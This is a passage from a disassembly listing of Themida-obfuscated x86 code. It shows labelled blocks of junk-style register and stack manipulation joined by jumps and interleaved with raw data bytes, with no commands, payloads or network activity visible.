; ---------------------------------------------------------------------------


loc_51EE9E:				; CODE XREF: Themida_:00513581j
		xor	al, ch
		xor	ch, al
		not	al
		jmp	loc_51ADB3
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 8Ah
		dd 8BFFFFF9h, 48F2424h,	7909E924h, 0F581FFFFh, 122509BBh
		dd 0FFA4CEE9h, 4BBFFh, 22E90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EECF:				; CODE XREF: Themida_:00510A8Bj
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	2D4h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_522AF2
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 5
		dd 0E9224921h, 1AB5h
; ---------------------------------------------------------------------------


loc_51EEF8:				; CODE XREF: Themida_:00516582j
		dec	ebx
		sub	ebx, 0AA4D500Eh
		mov	esi, ebx
		pop	ebx
		mov	ebx, 0A8B6EB6Ch
		add	ebx, esi
		pop	esi
		or	ebx, 62C8751Dh
		add	ebx, 0D773B785h
		xor	edi, ebx
		jmp	loc_52092E
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 53000000h, 0FF639FE9h, 4C2DB8FFh, 0AE91C94h,	0C1FFFFE5h
		dd 0E94103E9h, 0FFFFB411h
; ---------------------------------------------------------------------------


loc_51EF3C:				; CODE XREF: Themida_:00517CC5j
		pop	eax
		xor	eax, 471A63F7h
		jmp	loc_51C5F2
; ---------------------------------------------------------------------------
		db 1
		dd 3C875DEFh, 24248B24h, 840FC00Bh, 0FFFFE20Bh,	4EC81h
		dd 3C890000h, 4EC8124h,	89000000h, 4832424h, 48E90424h
		dd 81FFFF4Dh, 0A65A2CFh, 1C7810Ch, 0E9000000h, 0FFFFC277h
		dd 4C681h, 0EE830000h, 24348704h, 0FFC656E9h, 99E281FFh
		dd 813B0A51h, 0DC23E9F2h, 0FFEA831Ah, 7436B850h, 0B6E902BFh
		dd 0BA000029h, 138F1388h, 2C8BEA29h, 4C48324h, 86E9D029h
		dd 81FFFF81h, 4C4h, 3D36E900h, 28F0000h, 0FEF21BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EFD5:				; CODE XREF: Themida_:0051CF9Fj
		sub	eax, 15884A4Dh
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_514B84
; ---------------------------------------------------------------------------


loc_51EFE3:				; CODE XREF: Themida_:0051B251j
		push	ecx
		push	edi
		jmp	loc_51FDA1
; ---------------------------------------------------------------------------
		dw 0BA52h
		align 10h
		dd 3281DA01h, 19B91F0Bh, 34FF5B5Ah, 14EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F002:				; CODE XREF: Themida_:0051873Dj
		sub	ebx, 52D246BBh
		jmp	loc_51E14A
; ---------------------------------------------------------------------------


loc_51F00D:				; CODE XREF: Themida_:0051948Ej
		xchg	eax, [esp]
		jmp	loc_5212E3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5A545258h, 4C281h, 51570000h, 1C05FFB9h, 0C6F1815Ah
		dd 0C12F881Ch, 0E94108E9h, 0FFFFEAEEh, 4EC81h, 0C890000h
		dd 390FE924h, 3A680000h, 89000037h, 38BA2414h, 81000000h
		dd 0A5069CEAh, 0D5BDE947h, 0E95DFFFFh, 0FFFEF5F3h, 0F658C688h
		dd 0FACE80D6h, 0FFDC91E9h, 4FC780FFh, 8124048Bh, 4C4h
		dd 0E9D7F600h, 0FFFF2778h, 2572BB53h, 0DA299663h, 15E8E9h
		dd 0E2895200h, 0FF2657E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F099:				; CODE XREF: Themida_:00516BF2j
		push	edx
		mov	edx, 9CC6A665h
		add	ecx, 5A681CE9h
		sub	ecx, 4D0F0A58h
		add	ecx, edx
		jmp	loc_516475
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 0E924048Bh, 2FC5h, 348BF729h, 4C48324h, 0B1F7814Fh
		dd 217EF084h, 0DEF75FFEh, 711DCE81h, 0C6814F81h, 43372CCEh
		dd 0FF0F81E9h, 240489FFh, 4EC81h, 34890000h, 62706824h
		dd 0E95E5558h, 33D8h
; ---------------------------------------------------------------------------


loc_51F0F8:				; CODE XREF: Themida_:005231C5j
		push	edx
		mov	edx, 2
		push	edx
		add	dword ptr [esp], 7B0D31FEh
		pop	ecx
		sub	ecx, 7B0D31FEh
		pop	edx
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_51F126:				; CODE XREF: Themida_:0052307Aj
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	7E5Ch
		mov	[esp], edx
		jmp	loc_50F83B
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4, 0FF30D6E9h, 8B665CFFh, 9D682404h,	89000060h, 0E589242Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		push	eax
		jmp	loc_5157E8
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D0h
		dd 0FFFFAE16h, 2238C781h, 0EF013D2Bh, 2238EF81h, 0A6E93D2Bh
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51F193:				; CODE XREF: Themida_:0051C399j
		pop	esp
		push	2473h
		mov	[esp], eax
		jmp	loc_51773A
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 2Ch
		dd 80FCCA80h, 0C280BAF2h, 0DF97E9DEh, 0E95AFFFFh, 0FFFF6462h
		dd 742268h, 24348900h, 3768E689h, 0E9000014h, 4100h, 6604C483h
		dd 5AF3005Bh, 0EB80C300h, 0C0B60F82h, 0E987048Fh, 0FFFEF00Ch
		dd 81240489h, 4ECh, 3E3AE900h, 0E829FFFFh, 4681E9h, 58C50100h
		dd 242C8759h, 0FF6959E9h, 0BBE95FFFh
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F20B:				; CODE XREF: Themida_:0051504Ej
		sub	ebp, 3A9E046Eh
		pop	edx
		sub	ebp, esi
		jmp	loc_51E264
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 15A0000h, 32E95AD3h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F227:				; CODE XREF: Themida_:00522AF9j
		mov	dl, 0D1h
		add	dl, 67h
		sub	dl, bh
		sub	dl, 67h
		mov	ebx, [esp]
		add	esp, 4
		mov	cl, dl
		mov	edx, [esp]
		jmp	loc_52110B
; ---------------------------------------------------------------------------
		dd 5602EB83h, 0C681E689h, 4, 4EE81h, 0AFE90000h, 81FFFFD8h
		dd 0D72DC7C7h, 0FE015872h, 5F2434FFh, 0FF5950E9h, 240487FFh
		dd 1489665Ch, 3EB224h, 148B66D0h, 0AD40E924h, 0EA81FFFFh
		dd 267AFE7Ch, 2D8E9h, 40685F00h, 8900002Ch, 0FEB9240Ch
		dd 81134B74h, 0E0954F1h, 1C18133h, 4129431Bh, 0BD8F181h
		dd 0BAE96389h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F2B3:				; CODE XREF: Themida_:005105C8j
		push	esi
		not	dword ptr [esp]
		pop	esi
		dec	esi
		xor	esi, 777645D3h
		sub	esi, 3756405h
		sub	ecx, esi
		pop	esi
		or	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 2C4548F6h
		jmp	loc_521F37
; ---------------------------------------------------------------------------
		dw 0D02Dh
		dd 2936FE2Ch, 3158E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51F2EA:				; CODE XREF: Themida_:00516D25j
		add	ecx, 0D3F16E3h
		add	ecx, 13956F78h
		jmp	loc_517C1E
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 24048F58h,	8924248Bh, 74FF2404h, 94E90424h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F313:				; CODE XREF: Themida_:00515A93j
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	5836h
		mov	[esp], edx
		push	esp
		jmp	loc_510B0C
; ---------------------------------------------------------------------------


loc_51F32A:				; CODE XREF: Themida_:0050F1D8j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 497124D8h
		and	ebp, 3C6C0B1Ah
		and	ebp, 7DBD767Ch
		add	ebp, 1
		shl	ebp, 3
		push	ebx
		mov	ebx, 40E74FCBh
		jmp	loc_51AB8F
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 8124348Bh, 4C4h, 5EE00500h, 0D0290AC1h, 0C15EE02Dh
		dd 2434FF0Ah, 0C74E95Ah, 0C483FFFFh, 36BB5304h,	295F047Bh
		dd 0C53FE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F382:				; CODE XREF: Themida_:005104FBj
		sub	eax, 5F646484h
		add	eax, esi
		add	eax, 5F646484h
		pop	esi
		xor	ebx, eax
		jmp	loc_5103AC
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF6071h
; ---------------------------------------------------------------------------


loc_51F39C:				; CODE XREF: Themida_:0051A965j
		pop	ecx
		xor	dl, 1Ah
		add	al, 0BEh
		jmp	loc_51731D
; ---------------------------------------------------------------------------


loc_51F3A7:				; CODE XREF: Themida_:0052021Fj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_517E0E
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 4BE24h, 0EE90000h, 59000013h, 0FEF4CCE9h
		dd 36C6BDFFh, 0F581581Ah, 4BC91A94h, 44E6BB53h,	0DD094B5Eh
		dd 6E5C15Bh, 292EB850h,	0E05268Eh, 9122A26h, 706E9C5h
		dd 14890000h, 0E0895024h, 405h,	42D00h,	85E90000h, 1FFFF41h
		dd 2434FFFAh, 52243C8Bh, 0FF0908E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F415:				; CODE XREF: Themida_:00518B8Fj
		mov	[esp], ebx
		push	edi
		push	5C352B0h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50EBB9
; ---------------------------------------------------------------------------


loc_51F429:				; CODE XREF: Themida_:00516C06j
		mov	esi, 68B43F56h
		shl	esi, 7
		push	ecx
		mov	ecx, 68F7A0Ah
		sub	ecx, 3A106893h
		dec	ecx
		dec	ecx
		xor	ecx, 6F5F5C05h
		push	eax
		mov	eax, 0C1C9D707h
		sub	ecx, 307D68FBh
		add	ecx, eax
		add	ecx, 307D68FBh
		pop	eax
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 0F5358685h
		sub	ecx, 65307A97h
		jmp	loc_5192A2
; ---------------------------------------------------------------------------
		dw 0D2B8h
		dd 813F063Bh, 4C50B6C7h, 32BE561Dh, 8157B805h, 6310F3EEh
		dd 0C6814E5Fh, 370C5792h, 0FFC547E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F499:				; CODE XREF: Themida_:00511DC4j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 5C694CA3h
		xor	ecx, 5C694CA7h
		sub	ebp, 2ADA594Ch
		jmp	loc_516287
; ---------------------------------------------------------------------------
		db 68h,	0BCh, 0D9h
		dd 15F56EAh, 243C8BFDh,	4C481h,	0EA890000h, 4BE565Dh, 81570D79h
		dd 7C08C8EAh, 0E9F22978h, 2606h
; ---------------------------------------------------------------------------


loc_51F4F0:				; CODE XREF: Themida_:005145C6j
		div	cl
		jmp	loc_513544
; ---------------------------------------------------------------------------
		db 81h
		dd 373485F6h, 0CBEE8116h, 5055280Fh, 0B8788CB8h, 23FDE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51F50E:				; CODE XREF: Themida_:0051892Cj
		push	479Eh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_515DBC
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 58AE9h, 24048700h, 48B665Ch,	5BFFE924h, 74FFFFFFh, 8F590424h
		dd 248B2404h, 240C8924h, 0FEECA3E9h, 4C281FFh, 87000000h
		dd 875C2414h, 248B2414h, 30FF6624h, 0FEEC8BE9h,	0EC8352FFh
		dd 24148904h, 0D11FE8BAh, 0F73EE91Fh, 0D0F7FFFFh, 0DB5C8005h
		dd 1468525Ah, 5A365353h, 0FF04CAE9h, 10EA81FFh,	0C1404F49h
		dd 0B95104EAh, 67190E0Bh, 3159CA31h, 0EC9CE9D6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51F5A2:				; CODE XREF: Themida_:005239FDj
		pop	esp
		mov	[esp], ebx
		jmp	loc_518D3F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8E240481h, 0E904D35Ah, 0FFFF3046h, 89243C89h, 786AE9E7h
		dd 0C780FFFFh, 2EC81FBh, 66000000h, 0B0240489h,	68AF683Dh
		dd 9AE90000h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51F5DB:				; CODE XREF: Themida_:0052133Aj
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_513C7B
; ---------------------------------------------------------------------------


loc_51F5EA:				; CODE XREF: Themida_:005195C9j
		push	eax
		mov	al, 0E1h
		add	bl, al
		jmp	loc_5204DB
; ---------------------------------------------------------------------------
		dd 5D2414F7h, 0E903E5C1h, 0FFFFCC13h, 4A7992BFh, 35B2E91Ah
		dd 0E3C1FFFFh, 0AFF38108h, 89652EF0h, 0C1465BDEh, 0EEC105EEh
		dd 81D6F703h, 0D4E3FAEEh, 8BF201FFh, 0C4832434h, 4B85004h
		dd 1000000h, 148758C2h,	0EC815C24h, 4, 0E9241C89h, 0FFFF18EFh
		dd 4A36B951h, 0D9F712C3h, 0B5C8F181h, 0C889ED3Ch, 0FFDF30E9h
		dd 243431FFh, 0E9243433h, 0FFFF2818h, 6F50F581h, 0BA524337h
		dd 399C408Bh, 58AAC281h, 0F2812866h, 459C4DAAh,	0EA81D2F7h
		dd 64CB2512h, 55AD029h,	729D7E51h, 3C60DC2Dh, 0E9E8016Bh
		dd 0FFFF5CDCh
; ---------------------------------------------------------------------------


loc_51F69C:				; CODE XREF: Themida_:00520D70j
		add	esi, 2BEFA27Ch
		jmp	loc_51427B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243CE900h, 5580000h, 4, 2BD55h, 0E8010000h, 7348685Dh
		dd 7AE90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51F6CB:				; CODE XREF: Themida_:00513326j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_51B6AB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 59C83104h, 7EBBBF57h, 0E4E95590h, 66FFFFAFh,	5524048Bh
		dd 4EC81h, 24890000h, 9A685524h, 89000039h, 4BF243Ch, 89000000h
		dd 6C815FFDh, 53720424h, 0BE562941h, 6DEF3E6Eh,	4355E9h
		db 0
; ---------------------------------------------------------------------------


loc_51F725:				; CODE XREF: Themida_:005172B7j
		mov	[esp], ebx
		jmp	loc_510F06
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BA520000h, 9FD73EBh, 73E9F281h, 396809FDh, 89000014h
		dd 0ABBB241Ch, 0D16A285Bh, 0CEF381EBh, 2D27CF1Eh, 3B436749h
		dd 0FFF25DE9h, 48F58FFh, 24248B24h, 9C242CD3h, 0FEEA83E9h
		dd 240487FFh, 4EC815Ch,	89000000h, 43682434h, 5E4DAB4Ah
		dd 112EE681h, 0BB535A9Bh, 62F2427Bh, 0C102EBC1h, 0C38103E3h
		dd 7EEB74EEh, 0DBF7DBF7h, 83A4C381h, 55E930AAh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51F7A7:				; CODE XREF: Themida_:00523A48j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edx
		push	eax
		mov	eax, 57107478h
		shr	eax, 6
		or	eax, 37085F9Ah
		not	eax
		sub	eax, 0C8A3A020h
		push	eax
		pop	edx
		pop	eax
		add	ebp, edx
		push	dword ptr [esp]
		jmp	loc_512456
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 6AC18107h, 0E9128C68h, 3886h, 0BF57C329h, 14337637h
		dd 0FF2B1FE9h, 75A805FFh, 772D21DBh, 0E910B70Eh, 0FFCh
		dd 88FE8852h, 0CF06E9F0h, 0C629FFFFh, 0FF6E99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F80D:				; CODE XREF: Themida_:00521F67j
		push	ebx
		pop	esi
		jmp	loc_522129
; ---------------------------------------------------------------------------


loc_51F814:				; CODE XREF: Themida_:0051A514j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_518C41
; ---------------------------------------------------------------------------


loc_51F81F:				; CODE XREF: Themida_:00522C13j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_515BEB
; ---------------------------------------------------------------------------


loc_51F836:				; CODE XREF: Themida_:00522D5Aj
		add	ebp, 4
		jmp	loc_50E5F6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0FFFFFFC2h, 5812E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F852:				; CODE XREF: Themida_:00510E49j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	edx, 65504D75h
		add	edx, edi
		jmp	loc_50E1FE
; ---------------------------------------------------------------------------
aAPsv		db 'Pv',27h,0
		align 4
		dd 81E68956h, 4C6h, 21B85000h, 0E9128176h, 0FFFF6A9Eh
; ---------------------------------------------------------------------------


loc_51F888:				; CODE XREF: Themida_:00519BDCj
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_51F893:				; CODE XREF: Themida_:005184D6j
		add	esi, 6252AB0h
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_50E6F1
; ---------------------------------------------------------------------------
		dd 0B057C681h, 35E91759h, 0BDFFFF0Eh, 4, 0E95DE801h, 0FFFFB1F0h
		dd 8C5BD55h, 0E5817301h, 3A6351E9h, 0AC7E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F8CE:				; CODE XREF: Themida_:0051D3F4j
		neg	eax
		or	eax, 152A6551h
		or	eax, 0F262A03h
		sub	eax, 199F013Dh
		dec	eax
		push	ebx
		mov	ebx, 59A001CFh
		jmp	loc_515B54
; ---------------------------------------------------------------------------
		db 66h
		dd 4EC8358h, 53241489h,	0FFEE06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F8F9:				; CODE XREF: Themida_:0052213Fj
		sub	esp, 4
		jmp	loc_51E7D3
; ---------------------------------------------------------------------------
		dd 2A05D829h, 5B6E4D34h, 4E005D05h, 4EC8152h, 89000000h
		dd 53BF243Ch, 2925DD52h, 82055FF8h, 5113372h, 72DD3945h
		dd 0A7E9E829h, 57FFFF09h, 1D6D88BFh, 52DFF751h,	0FEF71CE9h
		dd 6F80B8FFh, 0C3293F4Ah, 1558E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51F94E:				; CODE XREF: Themida_:0051572Dj
		add	ebp, 48812210h
		shl	ebp, 6
		add	ebp, 6E6AD9CDh
		xor	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51CA10
; ---------------------------------------------------------------------------
		dd 0CBF6815Dh, 81672424h, 7C5475EEh, 5EF32980h,	5506EBC1h
		dd 4249CABDh, 8EDC105h,	293EE9h, 74FF5700h, 3C8B0424h
		dd 11B9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51F99E:				; CODE XREF: Themida_:0051268Dj
		pop	ebp
		jmp	loc_51A10E
; ---------------------------------------------------------------------------
		dd 0C7E96EB4h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F9AB:				; CODE XREF: Themida_:00521F9Aj
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebp, 2553630Ch
		push	eax
		mov	eax, ebp
		jmp	loc_5147B6
; ---------------------------------------------------------------------------
		dd 4AE9C801h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F9CB:				; CODE XREF: Themida_:0051A825j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5161AB
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 468h, 30E7E900h, 148B0000h, 0AED4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F9F2:				; CODE XREF: Themida_:00521284j
		mov	eax, 608C1B78h
		add	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_50ECC7
; ---------------------------------------------------------------------------


loc_51FA07:				; CODE XREF: Themida_:00521620j
		mov	ebp, 593B51E4h
		mov	ebx, ebp
		pop	ebp
		push	593B51E5h
		pop	edi
		push	esi
		mov	esi, 2D5D0F94h
		add	edi, esi
		pop	esi
		sub	edi, ebx
		push	1256h
		jmp	loc_510589
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 57B6EB81h, 3E903D3h,	52FFFF26h, 0C281E289h, 4, 8704C283h
		dd 535C2414h, 34B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_51FA4D:				; CODE XREF: Themida_:0051256Bj
		add	edx, 1C6D7FECh
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_512A05
; ---------------------------------------------------------------------------


loc_51FA62:				; CODE XREF: Themida_:00510D0Fj
		mov	[esp], edi
		push	655Fh
		mov	[esp], ebp
		push	47974CB0h
		jmp	loc_516396
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4312h, 68241489h,	5E7Fh, 4EC81h, 8F540000h
		dd 37E92404h, 68000033h, 4052h,	0FF243489h, 0FF042474h
		dd 0ECE92434h, 5CFFFF45h, 4C581h, 1E90000h, 81FFFF0Ah
		dd 4C6h, 44E900h, 0E8D10000h, 7E4B662Dh, 0E95B50C3h, 15E3h
; ---------------------------------------------------------------------------


loc_51FAD0:				; CODE XREF: Themida_:00510677j
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_511002
; ---------------------------------------------------------------------------


loc_51FAF0:				; CODE XREF: Themida_:00520348j
		xchg	eax, [esp]
		jmp	loc_51A200
; ---------------------------------------------------------------------------
		dd 13F58158h, 29D39412h, 914AE9EAh, 0C683FFFFh,	24348704h
		dd 4C0835Ch, 31240433h,	4332404h, 9859E924h, 48BBFFFFh
		dd 116E4E7h, 3544E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51FB2A:				; CODE XREF: Themida_:00523BE6j
		or	edx, eax
		shl	edx, 1
		push	65BDh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 51FE3416h
		jmp	loc_51E602
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FEE69FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51FB51:				; CODE XREF: Themida_:00514562j
		xor	ecx, 4169502Bh
		jmp	loc_51A984
; ---------------------------------------------------------------------------
		dd 4EC835Bh, 50241489h,	78E934B4h, 89FFFEF8h, 97BE2434h
		dd 31FFC522h, 0D0015EF2h, 5A2434FFh, 4EC81h, 0D7E90000h
		dd 81FFFF9Dh, 4C1h, 240C8700h, 7E6C15Ch, 0FF1828E9h, 243431FFh
		dd 5C243433h, 4C581h, 0EC810000h, 4, 68241489h,	27h, 0BE243489h
		dd 4C1619h, 11246DBAh, 5EF22907h, 8108EAC1h, 326830EAh
		dd 26C2815Bh, 0E95B2BA3h, 0FFFFCD21h, 0E924248Bh, 0FFFEE9F0h
; ---------------------------------------------------------------------------


loc_51FBE0:				; CODE XREF: Themida_:0051BB20j
		push	edi
		mov	edi, 4
		sub	esi, 4A7F770Ah
		add	esi, edi
		add	esi, 4A7F770Ah
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_520868
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0A2E95B04h, 81FFFF5Ch, 4C6h,	4BD5500h, 1000000h, 7430E9EEh
		dd 0EB89FFFFh, 5D5BD989h, 0E959CA29h, 3EFDh, 57779268h
		dd 0EE815E3Bh, 17D863A0h, 11BEE9h, 15F7BD00h, 0E1E95857h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51FC4B:				; CODE XREF: Themida_:0051D129j
		inc	eax
		add	eax, 90346BD8h
		jmp	loc_50FAAD
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 0DE305A66h, 0DE30F330h, 8904EC83h, 5BB7241Ch, 0FFC900E9h
		dd 1C5EBBFFh, 0B0E94C69h, 0FFFEE5h, 0C5C380C3h,	4DF968h
		dd 24148900h, 0C680B4B6h, 5ABFE909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FC8E:				; CODE XREF: Themida_:005144B4j
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	424C2F97h
		push	dword ptr [esp]
		jmp	loc_51FFD8
; ---------------------------------------------------------------------------
		dw 19B8h
		dd 892EDE20h, 49C0E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FCC6:				; CODE XREF: Themida_:0051E894j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_512055
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 41F3BF57h, 814F4D13h, 0A22281EFh, 0E9D7F710h, 0FFFF3B89h
		dd 28B6664h, 25C66866h,	24048966h, 0FEE4EBE9h, 34FF5EFFh
		dd 0C4815B24h, 4, 4EC81h, 3C890000h, 0F8E2E924h, 0D989FFFFh
		dd 244C015Bh, 2434FF04h, 4C48359h, 0FF395BE9h, 653ABFFFh
		dd 0BA523C4Ch, 3DBF0FE0h, 0F36ADEB8h, 0FFD03101h, 835A2434h
		dd 0F82904C4h, 7B7E95Fh, 8B70000h, 0EF80CFFEh, 8829E978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FD5E:				; CODE XREF: Themida_:0051A22Fj
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	3537h
		mov	[esp], eax
		jmp	loc_522460
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 34h
		dd 0FA895C24h, 81EAD15Fh, 0C65087C2h, 81424A20h, 593A00F2h
		dd 0DEC28168h, 10BB3F3h, 24148BD0h, 4EC8356h, 24A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_51FDA1:				; CODE XREF: Themida_:0051EFE5j
		mov	edi, 58E30EF8h
		mov	ecx, edi
		jmp	loc_51D6D8
; ---------------------------------------------------------------------------
		db 0FEh, 4Ch, 24h
		dd 1C8B6601h, 80E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FDBA:				; CODE XREF: Themida_:00520184j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	edi, 2
		jmp	loc_511DC9
; ---------------------------------------------------------------------------


loc_51FDD8:				; CODE XREF: Themida_:00519D87j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_5190BB
; ---------------------------------------------------------------------------


loc_51FDEF:				; CODE XREF: Themida_:0050ED87j
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	edi, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_514BD1
; ---------------------------------------------------------------------------
		db 89h
		dd 1DE92434h, 1FFFFFEh,	8A6858C6h, 89000060h, 2B82404h
		dd 81000000h, 0F93BBAC6h, 81C6294Ch, 0F93BBAEEh, 5768584Ch
		dd 0E900007Fh, 0FFFFC7A2h, 0EC81D5F7h, 4, 0FF08E5E9h, 0EDE68FFh
		dd 1C890000h, 5086B324h, 2D3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_51FE59:				; CODE XREF: Themida_:0051AE15j
		push	edi
		jmp	loc_521A28
; ---------------------------------------------------------------------------
		db 68h
		dd 7C45h, 0B9240C89h, 4AD459CCh, 8159CD01h, 0E673A5EDh
		dd 24148B1Fh, 8104C483h, 0D95737EDh, 81C5013Dh,	0D95737C5h
		dd 4EC813Dh, 0E9000000h, 0FFFFBBE7h, 83240C8Bh,	7C0104C4h
		dd 3C8B0424h, 7F34E924h, 8868FFFFh, 8900001Ch, 4BD242Ch
